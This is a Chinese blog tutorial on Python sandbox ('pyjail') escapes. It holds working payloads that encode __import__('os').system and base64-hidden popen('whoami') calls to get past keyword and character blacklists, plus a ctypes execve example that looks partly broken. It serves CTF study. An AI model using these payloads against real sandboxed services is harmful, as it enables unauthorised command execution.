当前位置: 首页 > news >正文

pyjail逃逸姿势

沙箱介绍

Python 沙箱是一种隔离执行环境,用于限制代码的权限,防止其访问敏感资源

bytes 是 Python 中用于表示字节序列的内置类型。它可以通过接收一个包含整数的可迭代对象(如列表、元组、生成器等)来构造字节序列。每个整数代表一个字节的值,范围是 0 到 255(即一个字节的取值范围)。通过控制这些整数的值,可以构造出任意想要的字节序列,进而转换为字符串或执行其他操作。

**bytes** 的基本用法

bytes(iterable_of_ints)
  • 参数
  • iterable_of_ints:一个可迭代对象(如列表、元组、生成器等),其中的每个元素是 0 到 255 的整数。
  • 返回值
  • 返回一个字节序列(bytes 对象)。

示例

# 通过列表构造字节序列
byte_seq = bytes([119, 104, 111, 97, 109, 105])
print(byte_seq)  # 输出: b'whoami'

为什么 **bytes** 可以构造任意字符串

字节与字符的对应关系

  • 在计算机中,字符是通过编码(如 ASCII、UTF-8)存储为字节的。

  • 每个字符对应一个或多个字节的值。

  • 例如:

  • 字符 'w' 的 ASCII 值是 119。

  • 字符 'h' 的 ASCII 值是 104。

  • 字符 'o' 的 ASCII 值是 111。

  • 字符 'a' 的 ASCII 值是 97。

  • 字符 'm' 的 ASCII 值是 109。

  • 字符 'i' 的 ASCII 值是 105。

因此,通过控制字节序列的值,可以构造出任意字符串。

动态构造字节序列

  • 如果直接使用字符串(如 'whoami')被限制,可以通过动态生成字节序列来绕过限制。
# 通过列表构造字节序列
byte_seq = bytes([119, 104, 111, 97, 109, 105])
print(byte_seq)  # 输出: b'whoami'

如果沙箱检测关键字(如 os.system),可以通过 bytes 构造这些关键字的字节序列。

# 直接使用关键字被限制
# __import__('os').system('id')  # 被拦截

# 通过 bytes 构造
exp = bytes([95, 95, 105, 109, 112, 111, 114, 116, 95, 95, 40, 34, 111, 115, 34, 41, 46, 115, 121, 115, 116, 101, 109, 40, 34, 105, 100, 34, 41])
eval(exp.decode())  # 执行 __import__('os').system('id')

利用列表推导式生成字节序列

  • 如果直接使用列表(如 [119, 104, 111, 97, 109, 105])被限制,可以通过列表推导式动态生成字节序列。
# 使用列表推导式生成字节序列
byte_seq = bytes([j for i in range(6) for j in range(256) if (i, j) in [(0, 119), (1, 104), (2, 111), (3, 97), (4, 109), (5, 105)]])
print(byte_seq)  # 输出: b'whoami'

黑名单绕过

blacklist=["'", '"', ',', ' ', '+', '__']

核心思路

  • 目标:构造任意字符串(如 whoami__import__("os").system("whoami"))。

  • 限制

  • 不能直接使用字符串(如 'whoami')。

  • 不能使用特殊字符(如空格、引号、括号等)。

  • 不能使用逗号(,)直接构造列表。

  • 问题

  • 如果直接使用字符串(如 '__import__("os").system("whoami")'),会被黑名单拦截。

  • 如果直接使用列表(如 [95, 95, 105, 109, 112, 111, 114, 116, 95, 95, 40, 34, 111, 115, 34, 41, 46, 115, 121, 115, 116, 101, 109, 40, 34, 105, 100, 34, 41]),会被逗号 , 和空格 限制。

  • 解决方法

  • 使用列表推导式生成字节序列,避免直接使用逗号和空格。

  • [ ] 替代空格,绕过空格限制。

  • 利用 bytes() 函数,通过列表推导式生成字节序列。

  • 使用条件语句(if)筛选出需要的字节值。

payload代码

exp = '__import__("os").system("whoami")'

payload = f"eval(bytes([[j][0]for(i)in[range({len(exp)})][0]for(j)in[range(256)][0]if[" + "]or[".join([f"i]==[{i}]and[j]==[{ord(j)}" for i, j in enumerate(exp)]) + "]]))"

print(payload)
动态生成字节序列
bytes([[j][0]for(i)in[range({len(exp)})][0]for(j)in[range(256)][0]if[...]])
  • 作用

  • 生成 __import__("os").system("whoami") 的字节序列。

  • 解析

  • for(i)in[range({len(exp)})][0]:遍历 i0len(exp)-1

  • for(j)in[range(256)][0]:遍历 j0255

  • if[...]:筛选出满足条件的 j 值。

条件筛选
"]or[".join([f"i]==[{i}]and[j]==[{ord(j)}" for i, j in enumerate(exp)])
  • 作用

  • 动态生成条件语句,筛选出需要的字节值。

  • 解析

  • for i, j in enumerate(exp):遍历 exp 中的每个字符 j 和其索引 i

  • f"i]==[{i}]and[j]==[{ord(j)}":生成条件 i=={i} and j=={ord(j)}

  • "]or[":将多个条件用 or 连接。

命令执行:

如果if也被过滤

利用 **vars()**binascii 动态解码并执行命令

构造 **__import__** 字符串
list(dict(_1_1i1m1p1o1r1t1_1_=1))[0][::2]
  • 目的:生成字符串 "__import__"

  • 关键技巧

  • 通过 dict 的键名 _1_1i1m1p1o1r1t1_1_ 混淆目标字符串。

  • [::2] 切片操作提取偶数位字符,去除冗余的 1_

  • 最终得到 "__import__"


动态导入 **binascii** 模块

eval(
    list(dict(_1_1i1m1p1o1r1t1_1_=1))[0][::2]  # → "__import__"
)(
    list(dict(b_i_n_a_s_c_i_i_=1))[0][::2]    # → "binascii"
)
  • 目的:动态调用 __import__("binascii"),导入 binascii 模块。

  • 关键技巧

  • list(dict(b_i_n_a_s_c_i_i_=1))[0][::2] 生成 "binascii"

  • eval("__import__")("binascii") 等效于 import binascii

获取 **binascii** 模块的命名空间
python


vars(
    eval(...)  # 返回 binascii 模块对象
)
  • 目的:通过 vars(binascii) 获取模块的属性和方法字典。
  • 结果
{
    'a2b_base64': <function a2b_base64>,
    'b2a_base64': <function b2a_base64>,
    ...
}

提取 **a2b_base64** 解码函数
vars(...)[
    list(dict(a_2_b1_1b_a_s_e_6_4=1))[0][::2]  # → "a2b_base64"
]
  • 目的:从 binascii 模块的命名空间中获取 a2b_base64 函数。

  • 关键技巧

  • list(dict(a_2_b1_1b_a_s_e_6_4=1))[0][::2] 生成 "a2b_base64"

  • 等效于 binascii.a2b_base64

解码 Base64 命令
(...)(
    list(dict(X19pbXBvcnRfXygnb3MnKS5wb3Blbignd2hvYW1pJykucmVhZCgp=1))[0]
)

最终payload

eval(vars(eval(list(dict(_1_1i1m1p1o1r1t1_1_=1))[0][::2])(list(dict(b_i_n_a_s_c_i_i_=1))[0][::2]))[list(dict(a_2_b1_1b_a_s_e_6_4=1))[0][::2]](list(dict(X19pbXBvcnRfXygnb3MnKS5wb3Blbignd2hvYW1pJykucmVhZCgp=1))[0]))
绕过关键字过滤
  • __import__:通过混淆字符串 _1_1i1m1p1o1r1t1_1_ 和切片 [::2] 绕过对 import 的检测。
  • binascii:通过混淆字符串 b_i_n_a_s_c_i_i_ 绕过对模块名的直接引用。
无点号操作
  • vars() 替代 .:通过 vars(module)["function"] 替代 module.function,避免使用点号 .
动态加载与执行
  • 动态解码:命令通过 Base64 编码隐藏,避免直接暴露敏感字符串。
  • 单行表达式:所有操作合并为一行,适应严格的行数或字符限制。

底层原理回顾

在 Linux 中,os.system("ls") 的本质是调用 fork() + execve() 的组合:

  1. fork():创建子进程(分身),让父进程继续执行。
  2. execve():在子进程中替换为新程序(如 ls)。
  3. 等待子进程结束:父进程通过 waitpid() 收集结果。
  4. 资源清理:子进程结束后自动回收。
调用 os.system()os.system("whoami")触发系统调用链
fork()

创建子进程
pid = FORK()分离父/子进程执行流
子进程执行命令EXECVE(program, argv, None)加载并运行新程序
父进程等待子进程WAITPID(pid, byref(status), 0)同步父子进程结束时机
返回退出状态解析 status.value

的退出码/信号
确定命令执行结果

ctypes 是 Python 的 C 扩展模块,提供以下核心功能:

import ctypes
libc = ctypes.CDLL(None)  # 加载 C 标准库
libc.fork()               # 调用 fork()
libc.execve(...)          # 调用 execve()

通过 ctypes,用户可以:

  • 绕过 Python 层面的限制:直接操作底层 C 函数。
  • 执行任意系统命令:如通过 fork() + execve() 组合(即 os.system() 的底层实现)。
  • 访问敏感资源:如打开文件、绑定 socket 等。

只要pyjail不禁用ctypes,我们就能够间接的通过ctypes调用c语言实现上述的调用

为什么 PyJail 需要禁用 ctypes?

  • 系统级访问ctypes 允许直接调用 fork()execve()socket() 等底层函数,可执行任何系统命令。
  • 沙箱失效:若未禁用 ctypes,沙箱无法阻止用户通过 C 接口突破限制。
  • 安全风险:攻击者可利用 ctypes 注入恶意代码

示例代码:

import ctypes
from ctypes import c_char_p, byref, c_int

# 加载 C 标准库
libc = ctypes.CDLL(None)

# 定义 execve 参数类型
execve = libc.execve
execve.argtypes = [c_char_p, c_char_p * 100, c_char_p * 100]
execve.restype = c_int

# 构建命令参数(示例:执行 "ls")
args = ("/bin/ls", None)  # argv 数组需以 NULL 结尾

# 调用 execve()
libc.execve("/bin/ls".encode(), args, None)

这段代码直接通过 ctypes 调用 execve(),完全绕过 Python 的 os 模块,执行 ls 命令。

相关文章:

  • 计算机四级 - 数据库原理 - 第3章 「关系数据库系统概述」
  • React(二):JSX语法解析+综合案例
  • Java 大视界 -- Java 大数据在智慧交通自动驾驶仿真与测试数据处理中的应用(136)
  • 一次Linux下 .net 调试经历
  • 游戏成瘾与学习动力激发策略研究——了解“情感解离”“创伤理论”
  • 电磁兼容|RC电路
  • C或C++中实现数据结构课程中的链表、数组、树和图
  • count(1),count(列名),count(*)详解!
  • 系统思考全球化落地
  • 【DeepSeek应用】本地部署deepseek模型后,如何在vscode中调用该模型进行代码撰写,检视和优化?
  • Unity--GPT-SoVITS接入、处理GPTAPI的SSE响应流
  • 操作系统——进程优先级切换调度与调度算法
  • 【从零开始学习计算机科学】设计模式(二)工厂模式、抽象工厂模式、单例模式、建造者模型、原型模式
  • 一级运动员最小几岁·棒球1号位
  • ThinkPad T480s更换开机BIOS图片的详细步骤
  • KNN算法原理及python代码实现
  • PyTorch 实现 Conditional DCGAN(条件深度卷积生成对抗网络)进行图像到图像转换的示例代码
  • RabbitMQ可靠性进制
  • C语言每日一练——day_9
  • 【AHE数据集】 NCAR Anthropogenic Heat Flux (AHF) 数据集
  • 五一小长假,带着小狗去上海音乐厅
  • 韩国下届大选执政党初选4进2结果揭晓,金文洙、韩东勋胜出
  • 脱发后怎么把头发养回来?脱发自救指南来了
  • 知名计算机专家、浙江大学教授张森逝世
  • 持续更新丨伊朗内政部长:港口爆炸已致14人死亡
  • 以军称若停火谈判无进展,将大幅扩大加沙军事行动